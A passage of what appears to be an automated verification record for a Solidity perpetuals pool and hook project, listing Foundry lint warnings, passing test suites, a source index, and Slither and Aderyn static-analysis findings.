https://getfoundry.sh/forge/linting/unused-return\n\nwarning[arbitrary-send-eth]: ETH is sent to a user-controlled destination; restrict the destination or the caller\n    ╭▸ src/IMD6900PerpPool.sol:155:32\n    │\n155 │         if (msg.value > ethIn) SafeTransferLib.forceSafeTransferETH(refundTo, msg.value - ethIn);\n    │                                ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/arbitrary-send-eth\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/IMD6900PerpPool.sol:157:9\n    │\n157 │         emit LiquidityAdded(msg.sender, liq, ethIn, tokensIn);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/IMD6900PerpPool.sol:174:9\n    │\n174 │         emit Compounded(liq, ethIn, tokensIn); // what the price could not pair stays here for next time\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[arbitrary-send-eth]: ETH is sent to a user-controlled destination; restrict the destination or the caller\n    ╭▸ src/IMD6900PerpPool.sol:187:9\n    │\n187 │         IFeeSink(sink).addFees{value: msg.value}();\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/arbitrary-send-eth\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/IMD6900PerpPool.sol:188:9\n    │\n188 │         emit FeesForwarded(msg.value);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/IMD6900PerpHook.sol:260:9\n    │\n260 │         emit FeeAddressRenounced(msg.sender);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[arbitrary-send-eth]: ETH is sent to a user-controlled destination; restrict the destination or the caller\n    ╭▸ src/IMD6900PerpHook.sol:271:32\n    │\n271 │         if (toFeeAddress != 0) SafeTransferLib.forceSafeTransferETH(feeAddress, toFeeAddress);\n    │                                ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/arbitrary-send-eth\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/IMD6900PerpHook.sol:272:9\n    │\n272 │         emit FeesFlushed(amount - toFeeAddress, toFeeAddress);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[unused-return]: return value of an external call is not used\n    ╭▸ src/IMD6900PerpPool.sol:207:21\n    │\n207 │         if (a0 < 0) poolManager.settle{value: uint256(uint128(-a0))}();\n    │                     ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/unused-return\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/IMD6900PerpPool.sol:207:47\n    │\n207 │         if (a0 < 0) poolManager.settle{value: uint256(uint128(-a0))}();\n    │                                               ━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/IMD6900PerpPool.sol:207:55\n    │\n207 │         if (a0 < 0) poolManager.settle{value: uint256(uint128(-a0))}();\n    │                                                       ━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/IMD6900PerpPool.sol:208:73\n    │\n208 │         else if (a0 > 0) poolManager.take(key.currency0, address(this), uint256(uint128(a0)));\n    │                                                                         ━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/IMD6900PerpPool.sol:208:81\n    │\n208 │         else if (a0 > 0) poolManager.take(key.currency0, address(this), uint256(uint128(a0)));\n    │                                                                                 ━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/IMD6900PerpPool.sol:211:71\n    │\n211 │             SafeTransferLib.safeTransfer(token, address(poolManager), uint256(uint128(-a1)));\n    │                                                                       ━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/IMD6900PerpPool.sol:211:79\n    │\n211 │             SafeTransferLib.safeTransfer(token, address(poolManager), uint256(uint128(-a1)));\n    │                                                                               ━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unused-return]: return value of an external call is not used\n    ╭▸ src/IMD6900PerpPool.sol:212:13\n    │\n212 │             poolManager.settle();\n    │             ━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/unused-return\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/IMD6900PerpPool.sol:214:60\n    │\n214 │             poolManager.take(key.currency1, address(this), uint256(uint128(a1)));\n    │                                                            ━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/IMD6900PerpPool.sol:214:68\n    │\n214 │             poolManager.take(key.currency1, address(this), uint256(uint128(a1)));\n    │                                                                    ━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[return-bomb]: external call with a gas limit may copy unbounded return data\n    ╭▸ src/IMD6900PerpHook.sol:447:43\n    │\n447 │               (bool ok, bytes memory out) = engine.call{gas: g - reserve}(\n    │ ┏━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┛\n448 │ ┃                 abi.encodeCall(IPerpSweep.sweepLiquidations, (tx.origin, spec, isBuy, limit))\n449 │ ┃             );\n    │ ┗━━━━━━━━━━━━━┛\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/return-bomb\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/IMD6900PerpPool.sol:244:60\n    │\n244 │         return l > type(uint128).max ? type(uint128).max : uint128(l);\n    │                                                            ━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/IMD6900PerpPool.sol:248:24\n    │\n248 │         return v < 0 ? uint256(uint128(-v)) : uint256(uint128(v));\n    │                        ━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/IMD6900PerpPool.sol:248:32\n    │\n248 │         return v < 0 ? uint256(uint128(-v)) : uint256(uint128(v));\n    │                                ━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/IMD6900PerpPool.sol:248:47\n    │\n248 │         return v < 0 ? uint256(uint128(-v)) : uint256(uint128(v));\n    │                                               ━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/IMD6900PerpPool.sol:248:55\n    │\n248 │         return v < 0 ? uint256(uint128(-v)) : uint256(uint128(v));\n    │                                                       ━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\n","passed":true},{"durationMs":245,"exitCode":0,"name":"test","output":"No files changed, compilation skipped\n\nRan 1 test for test/RobinhoodFlow.fork.t.sol:RobinhoodFlowForkTest\n[SKIP: skipped] setUp() (gas: 0)\nSuite result: ok. 0 passed; 0 failed; 1 skipped; finished in 371.83µs (0.00ns CPU time)\n\nRan 6 tests for test/IMD6900Band.t.sol:IMD6900BandTest\n[PASS] test_CorrectionBeyondBandStillAllowedWithNestedSwap() (gas: 976653)\n[PASS] test_EngineAndBandExemptSwapsKeepTheirExemptionAndPayStaticFee() (gas: 668626)\n[PASS] test_PostTradeLiquidationCannotBypassBuyBand() (gas: 901791)\n[PASS] test_PostTradeLiquidationCannotBypassSellBand() (gas: 940231)\n[PASS] test_PreTradeLiquidationStillPreservesBand() (gas: 1113489)\n[PASS] test_SmallTradeAndPostTradeLiquidationStillSucceed() (gas: 1125328)\nSuite result: ok. 6 passed; 0 failed; 0 skipped; finished in 15.29ms (3.23ms CPU time)\n\nRan 7 tests for test/IMD6900Perps.t.sol:IMD6900PerpsTest\n[PASS] test_AnyoneDeepensIt() (gas: 272860)\n[PASS] test_OnlyTheOwnerOpensAndRemoves() (gas: 231672)\n[PASS] test_OnlyThePoolAddsLiquidity() (gas: 405794)\n[PASS] test_OpensAtThePrice() (gas: 53519)\n[PASS] test_PerpsOffUntilAnEngineIsSet() (gas: 11157)\n[PASS] test_RefusesToDriftFarFromPons() (gas: 185623)\n[PASS] test_TradesBothWays() (gas: 409340)\nSuite result: ok. 7 passed; 0 failed; 0 skipped; finished in 140.64ms (1.49ms CPU time)\n\nRan 8 tests for test/IMD6900PerpsLaunch.t.sol:IMD6900PerpsLaunchTest\n[PASS] test_DeploysOnAFreshChain() (gas: 6145399)\n[PASS] test_EachDeployerMinesItsOwnSalt() (gas: 14212697)\n[PASS] test_FeeMetadataCannotDriftFromStaticPoolFee() (gas: 183160)\n[PASS] test_FeeMetadataSupportsStaticFeesBelowOnePercent() (gas: 37530)\n[PASS] test_FitsOneTransaction() (gas: 5984975)\nLogs:\n  launch and factory execution gas (mining included): 5778035\n  gas including conservative intrinsic allowance: 6113979\n  hook salts tried: 13465\n\n[PASS] test_PassesTheAdmissionScan() (gas: 7163759)\n[PASS] test_RefusesADynamicFee() (gas: 4568)\n[PASS] test_RefusesUnrepresentableOrOutOfRangeFee() (gas: 4524)\nSuite result: ok. 8 passed; 0 failed; 0 skipped; finished in 150.83ms (73.12ms CPU time)\n\nRan 7 tests for test/IMD6900LiquidityAccounting.t.sol:IMD6900LiquidityAccountingTest\n[PASS] testFuzz_AddKeepsFeesAndRefundsOnlyUnusedPrincipal(uint96,uint96) (runs: 256, μ: 1999440, ~: 1994383)\nLogs:\n  Bound result 5887\n  Bound result 999999999000000000000000055\n\n[PASS] test_AddRefundsPrincipalWhenFeesAreLessThanBothLegs() (gas: 1970505)\n[PASS] test_AddRefundsPrincipalWhenFeesExceedBothLegs() (gas: 1977510)\n[PASS] test_AddRefundsSeparateRecipientWithOneSidedFees() (gas: 692003)\n[PASS] test_CollectedFeesAreNotRefundedAgainOnTheNextAdd() (gas: 2365152)\n[PASS] test_CompoundReinvestsPendingFeesAndReportsPrincipal() (gas: 3674640)\n[PASS] test_RemoveStillPaysPrincipalPlusFeesAndOwnerCanDisableBrokenEngine() (gas: 2627985)\nSuite result: ok. 7 passed; 0 failed; 0 skipped; finished in 150.89ms (156.43ms CPU time)\n\nRan 10 tests for test/IMD6900Reference.t.sol:IMD6900ReferenceTest\n[PASS] test_BondingCurvePriceRemainsReadable() (gas: 26404)\n[PASS] test_BondingReserveRevertAndMalformedReturnLeaveTradingOpen() (gas: 739227)\n[PASS] test_EachExternalReferenceReadMayFailWithoutBlockingTrades() (gas: 2798933)\n[PASS] test_GraduatedFactoryRevertDisablesBandButNotTrading() (gas: 812545)\n[PASS] test_GraduatedReferenceInversionAndMathFailureAreCaught() (gas: 903760)\n[PASS] test_GraduatedReferenceRemainsReadableAndBandStaysActive() (gas: 887701)\n[PASS] test_MalformedGraduatedRecordDisablesBandButNotTrading() (gas: 813650)\n[PASS] test_ReferenceRecoveryAutomaticallyRestoresBand() (gas: 554981)\n[PASS] test_ReferenceWithoutCodeLeavesTradingOpen() (gas: 403335)\n[PASS] test_ZeroReservesOrOverflowingReferenceLeaveTradingOpen() (gas: 1043741)\nSuite result: ok. 10 passed; 0 failed; 0 skipped; finished in 150.99ms (8.63ms CPU time)\n\nRan 6 test suites in 151.79ms (609.01ms CPU time): 38 tests passed, 0 failed, 1 skipped (39 total tests)\n","passed":true},{"durationMs":45,"exitCode":0,"name":"source-index","output":"{\"v\":1,\"entryPoints\":[\"IMD6900PerpHook.afterAddLiquidity(address,(address,address,uint24,int24,address),(int24,int24,int256,bytes32),int256,int256,bytes)\",\"IMD6900PerpHook.afterDonate(address,(address,address,uint24,int24,address),uint256,uint256,bytes)\",\"IMD6900PerpHook.afterInitialize(address,(address,address,uint24,int24,address),uint160,int24)\",\"IMD6900PerpHook.afterRemoveLiquidity(address,(address,address,uint24,int24,address),(int24,int24,int256,bytes32),int256,int256,bytes)\",\"IMD6900PerpHook.afterSwap(address,(address,address,uint24,int24,address),(bool,int256,uint160),int256,bytes)\",\"IMD6900PerpHook.beforeAddLiquidity(address,(address,address,uint24,int24,address),(int24,int24,int256,bytes32),bytes)\",\"IMD6900PerpHook.beforeDonate(address,(address,address,uint24,int24,address),uint256,uint256,bytes)\",\"IMD6900PerpHook.beforeInitialize(address,(address,address,uint24,int24,address),uint160)\",\"IMD6900PerpHook.beforeRemoveLiquidity(address,(address,address,uint24,int24,address),(int24,int24,int256,bytes32),bytes)\",\"IMD6900PerpHook.beforeSwap(address,(address,address,uint24,int24,address),(bool,int256,uint160),bytes)\",\"IMD6900PerpHook.cancelOwnershipHandover()\",\"IMD6900PerpHook.completeOwnershipHandover(address)\",\"IMD6900PerpHook.flush()\",\"IMD6900PerpHook.lowerFee(uint256)\",\"IMD6900PerpHook.receive()\",\"IMD6900PerpHook.renounceFeeAddress()\",\"IMD6900PerpHook.renounceOwnership()\",\"IMD6900PerpHook.requestOwnershipHandover()\",\"IMD6900PerpHook.setFeeExempt(address,bool)\",\"IMD6900PerpHook.setPerpEngine(address)\",\"IMD6900PerpHook.setPerpFeeBps(uint256)\",\"IMD6900PerpHook.setSkim(uint256,uint256)\",\"IMD6900PerpHook.setSweepFailOpen(bool)\",\"IMD6900PerpHook.transferOwnership(address)\",\"IMD6900PerpHook.updateFeeAddress(address)\",\"IMD6900PerpPool.addFees()\",\"IMD6900PerpPool.addLiquidity(uint256,address)\",\"IMD6900PerpPool.cancelOwnershipHandover()\",\"IMD6900PerpPool.completeOwnershipHandover(address)\",\"IMD6900PerpPool.compound(uint256,uint256)\",\"IMD6900PerpPool.open(address,address,uint160,uint256)\",\"IMD6900PerpPool.receive()\",\"IMD6900PerpPool.removeLiquidity(uint128,address,address)\",\"IMD6900PerpPool.renounceOwnership()\",\"IMD6900PerpPool.requestOwnershipHandover()\",\"IMD6900PerpPool.setFeeSink(address)\",\"IMD6900PerpPool.setHook(address)\",\"IMD6900PerpPool.setPerpEngine(address)\",\"IMD6900PerpPool.transferOwnership(address)\",\"IMD6900PerpPool.unlockCallback(bytes)\"],\"files\":{\".gitignore\":4,\"ADAPTATION.md\":84,\"README.md\":103,\"foundry.toml\":25,\"script/Owner.s.sol\":94,\"src/IMD6900PerpHook.sol\":467,\"src/IMD6900PerpPool.sol\":250,\"src/IMD6900PerpsLaunch.sol\":76,\"test/IMD6900Band.t.sol\":144,\"test/IMD6900LiquidityAccounting.t.sol\":172,\"test/IMD6900Perps.t.sol\":230,\"test/IMD6900PerpsLaunch.t.sol\":175,\"test/IMD6900Reference.t.sol\":171,\"test/RobinhoodFlow.fork.t.sol\":299},\"excluded\":[\"lib/\",\"node_modules/\"],\"truncated\":false}","passed":true},{"durationMs":3457,"exitCode":0,"name":"slither","output":"[high/medium] arbitrary-send-eth at src/IMD6900PerpHook.sol:266: IMD6900PerpHook.flush() (src/IMD6900PerpHook.sol#266-273) sends eth to arbitrary user\n[medium/high] incorrect-equality at src/IMD6900PerpHook.sol:266: IMD6900PerpHook.flush() (src/IMD6900PerpHook.sol#266-273) uses a dangerous strict equality:\n[medium/high] incorrect-equality at src/IMD6900PerpPool.sol:165: IMD6900PerpPool.compound(uint256,uint256) (src/IMD6900PerpPool.sol#165-175) uses a dangerous strict equality:\n[medium/high] incorrect-equality at src/IMD6900PerpPool.sol:148: IMD6900PerpPool.addLiquidity(uint256,address) (src/IMD6900PerpPool.sol#148-158) uses a dangerous strict equality:\n[medium/high] incorrect-equality at src/IMD6900PerpPool.sol:236: IMD6900PerpPool._fullRangeLiquidity(uint160,uint256,uint256) (src/IMD6900PerpPool.sol#236-245) uses a dangerous strict equality:\n[medium/high] incorrect-equality at src/IMD6900PerpPool.sol:124: IMD6900PerpPool.open(address,address,uint160,uint256) (src/IMD6900PerpPool.sol#124-142) uses a dangerous strict equality:\n[medium/medium] unused-return at src/IMD6900PerpPool.sol:124: IMD6900PerpPool.open(address,address,uint160,uint256) (src/IMD6900PerpPool.sol#124-142) ignores return value by poolManager.initialize(poolKey(),sqrtPriceX96) (src/IMD6900PerpPool.sol#135)\n[medium/medium] unused-return at src/IMD6900PerpPool.sol:193: IMD6900PerpPool.unlockCallback(bytes) (src/IMD6900PerpPool.sol#193-224) ignores return value by poolManager.settle{value: uint256(uint128(- a0))}() (src/IMD6900PerpPool.sol#207)\n[medium/medium] unused-return at src/IMD6900PerpHook.sol:303: IMD6900PerpHook._graduatedPriceX96(address) (src/IMD6900PerpHook.sol#303-318) ignores return value by (sq,None,None,None) = poolManager.getSlot0(key.toId()) (src/IMD6900PerpHook.sol#313)\n[medium/medium] unused-return at src/IMD6900PerpHook.sol:321: IMD6900PerpHook.poolPriceX96() (src/IMD6900PerpHook.sol#321-325) ignores return value by (sq,None,None,None) = poolManager.getSlot0(poolId) (src/IMD6900PerpHook.sol#322)\n[medium/medium] unused-return at src/IMD6900PerpPool.sol:193: IMD6900PerpPool.unlockCallback(bytes) (src/IMD6900PerpPool.sol#193-224) ignores return value by poolManager.settle() (src/IMD6900PerpPool.sol#212)\n[medium/medium] unused-return at src/IMD6900PerpPool.sol:165: IMD6900PerpPool.compound(uint256,uint256) (src/IMD6900PerpPool.sol#165-175) ignores return value by (sqrtPriceX96,None,None,None) = poolManager.getSlot0(poolKey().toId()) (src/IMD6900PerpPool.sol#170)\n[medium/medium] unused-return at src/IMD6900PerpPool.sol:148: IMD6900PerpPool.addLiquidity(uint256,address) (src/IMD6900PerpPool.sol#148-158) ignores return value by (sqrtPriceX96,None,None,None) = poolManager.getSlot0(poolKey().toId()) (src/IMD6900PerpPool.sol#151)\n[low/medium] missing-zero-check at src/IMD6900PerpPool.sol:124: IMD6900PerpPool.open(address,address,uint160,uint256).curve_ (src/IMD6900PerpPool.sol#124) lacks a zero-check on :\n[low/medium] missing-zero-check at src/IMD6900PerpHook.sol:174: IMD6900PerpHook.constructor(IPoolManager,address,address,address,uint24).launcher_ (src/IMD6900PerpHook.sol#174) lacks a zero-check on :\n[low/medium] missing-zero-check at src/IMD6900PerpHook.sol:248: IMD6900PerpHook.updateFeeAddress(address).feeAddress_ (src/IMD6900PerpHook.sol#248) lacks a zero-check on :\n[low/medium] missing-zero-check at src/IMD6900PerpHook.sol:225: IMD6900PerpHook.setPerpEngine(address).engine (src/IMD6900PerpHook.sol#225) lacks a zero-check on :\n[low/medium] missing-zero-check at src/IMD6900PerpPool.sol:93: IMD6900PerpPool.setHook(address).hook_ (src/IMD6900PerpPool.sol#93) lacks a zero-check on :\n[low/medium] missing-zero-check at src/IMD6900PerpPool.sol:77: IMD6900PerpPool.setFeeSink(address).feeSink_ (src/IMD6900PerpPool.sol#77) lacks a zero-check on :\n[low/medium] missing-zero-check at src/IMD6900PerpPool.sol:124: IMD6900PerpPool.open(address,address,uint160,uint256).token_ (src/IMD6900PerpPool.sol#124) lacks a zero-check on :\n[low/medium] missing-zero-check at src/IMD6900PerpHook.sol:174: IMD6900PerpHook.constructor(IPoolManager,address,address,address,uint24).feeAddress_ (src/IMD6900PerpHook.sol#174) lacks a zero-check on :\n[low/medium] missing-zero-check at src/IMD6900PerpPool.sol:99: IMD6900PerpPool.setPerpEngine(address).engine (src/IMD6900PerpPool.sol#99) lacks a zero-check on :\n[low/medium] calls-loop at src/IMD6900PerpPool.sol:106: IMD6900PerpPool.removeLiquidity(uint128,address,address) (src/IMD6900PerpPool.sol#106-119) has external calls inside a loop: IPerpBookView(engine).isLiquidatable(ids[i]) (src/IMD6900PerpPool.sol#113)\n[low/medium] reentrancy-events at src/IMD6900PerpHook.sol:266: Reentrancy in IMD6900PerpHook.flush() (src/IMD6900PerpHook.sol#266-273):\n[low/medium] reentrancy-events at src/IMD6900PerpPool.sol:184: Reentrancy in IMD6900PerpPool.addFees() (src/IMD6900PerpPool.sol#184-189):\n[low/medium] return-bomb at src/IMD6900PerpHook.sol:441: IMD6900PerpHook._sweep(address,int256,bool,uint160) (src/IMD6900PerpHook.sol#441-463) tries to limit the gas of an external call that controls implicit decoding","passed":true},{"durationMs":545,"exitCode":0,"name":"aderyn","output":"[high] abi-encode-packed-hash-collision at src/IMD6900PerpsLaunch.sol:38: `abi.encodePacked()` Hash Collision\n[high] contract-locks-ether at src/IMD6900PerpHook.sol:97: Contract locks Ether without a withdraw function (2 places)\n[high] reentrancy-state-change at src/IMD6900PerpsLaunch.sol:47: Reentrancy: State change after external call (2 places)\n[high] reused-contract-name at src/IMD6900PerpHook.sol:72: Contract Name Reused in Different Files (2 places)\n[low] centralization-risk at src/IMD6900PerpHook.sol:97: Centralization Risk (14 places)\n[low] large-numeric-literal at src/IMD6900PerpHook.sol:101: Large Numeric Literal (3 places)\n[low] literal-instead-of-constant at src/IMD6900PerpHook.sol:178: Literal Instead of Constant (7 places)\n[low] non-reentrant-not-first at src/IMD6900PerpPool.sol:106: `nonReentrant` is Not the First Modifier (2 places)\n[low] push-zero-opcode at src/IMD6900PerpHook.sol:2: PUSH0 Opcode (3 places)\n[low] require-revert-in-loop at src/IMD6900PerpPool.sol:112: Loop Contains `require`/`revert`\n[low] state-no-address-check at src/IMD6900PerpHook.sol:187: Address State Variable Set Without Checks (8 places)\n[low] unchecked-return at src/IMD6900PerpPool.sol:135: Unchecked Return (2 places)\n[low] unspecific-solidity-pragma at src/IMD6900PerpHook.sol:2: Unspecific Solidity Pragma (3 places)\n[low] unused-error at src/IMD6900PerpHook.sol:161: Unused Error\n[low] unused-public-function at src/IMD6900PerpHook.sol:328: Public Function Not Used Internally (3 places)\n[low] unused-state-variable at src/IMD6900PerpHook.sol:141: Unused State Variable","passed":true}],"detail":"all checks passed","evaluation":"checks","profile":"foundry","status":"accepted","submissionHash":"8f2845869d36621963d8ccc950b5ec02bb818ca540d13135aeb3ee72575ee125","verifiedTreeHash":"cc452b429a466eb6378156f1a64742b87fb23ac0","verifierVersion":"0.1.0+fdeb4d4a"},{"checks":[{"durationMs":50313,"exitCode":0,"name":"build","output":"Compiling 91 files with Solc 0.8.26\nSolc 0.8.26 finished in 50.17s\nCompiler run successful!\nwarning[encode-packed-collision]: `abi.encodePacked()` called with multiple dynamic type arguments; hash collisions possible\n   ╭▸ src/IMD6900PerpsLaunch.sol:38:29\n   │\n38 │           bytes memory init = abi.encodePacked(\n   │ ┏━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┛\n39 │ ┃             type(IMD6900PerpHook).creationCode, abi.encode(poolManager, address(p), feeAddress, owner, poolFee)\n40 │ ┃         );\n   │ ┗━━━━━━━━━┛\n   │\n   ╰ help: https://getfoundry.sh/forge/linting/encode-packed-collision\n\nwarning[uninitialized-local]: local variable is read before being initialized\n   ╭▸ src/IMD6900PerpsLaunch.sol:74:14\n   │\n74 │         if (!found) revert NoSalt();\n   │              ━━━━━\n   │\n   ╰ help: https://getfoundry.sh/forge/linting/uninitialized-local\n\nwarning[missing-events-access-control]: `feeAddress` is changed without an event but is used for access control\n    ╭▸ src/IMD6900PerpHook.sol:259:9\n    │\n259 │         feeAddress = launcher;\n    │         ━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/missing-events-access-control\n\nwarning[missing-zero-check]: address parameter is used in a state write or value transfer without a zero-address check\n   ╭▸ src/IMD6900PerpPool.sol:77:25\n   │\n77 │     function setFeeSink(address feeSink_) external onlyOwner {\n   │                         ━━━━━━━━━━━━━━━━\n   │\n   ╰ help: https://getfoundry.sh/forge/linting/missing-zero-check\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n   ╭▸ src/IMD6900PerpPool.sol:79:9\n   │\n79 │         emit FeeSinkSet(feeSink_);\n   │         ━━━━━━━━━━━━━━━━━━━━━━━━━━\n   │\n   ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[missing-zero-check]: address parameter is used in a state write or value transfer without a zero-address check\n    ╭▸ src/IMD6900PerpHook.sol:174:44\n    │\n174 │     constructor(IPoolManager poolManager_, address launcher_, address feeAddress_, address owner_, uint24 poolFeePips_)\n    │                                            ━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/missing-zero-check\n\nwarning[missing-zero-check]: address parameter is used in a state write or value transfer without a zero-address check\n    ╭▸ src/IMD6900PerpHook.sol:174:63\n    │\n174 │     constructor(IPoolManager poolManager_, address launcher_, address feeAddress_, address owner_, uint24 poolFeePips_)\n    │                                                               ━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/missing-zero-check\n\nwarning[missing-zero-check]: address parameter is used in a state write or value transfer without a zero-address check\n   ╭▸ src/IMD6900PerpPool.sol:93:22\n   │\n93 │     function setHook(address hook_) external onlyOwner {\n   │                      ━━━━━━━━━━━━━\n   │\n   ╰ help: https://getfoundry.sh/forge/linting/missing-zero-check\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n   ╭▸ src/IMD6900PerpPool.sol:96:9\n   │\n96 │         emit HookSet(hook_);\n   │         ━━━━━━━━━━━━━━━━━━━━\n   │\n   ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[missing-zero-check]: address parameter is used in a state write or value transfer without a zero-address check\n   ╭▸ src/IMD6900PerpPool.sol:99:28\n   │\n99 │     function setPerpEngine(address engine) external onlyOwner {\n   │                            ━━━━━━━━━━━━━━\n   │\n   ╰ help: https://getfoundry.sh/forge/linting/missing-zero-check\n\nwarning[reentrancy-events]: event emitted 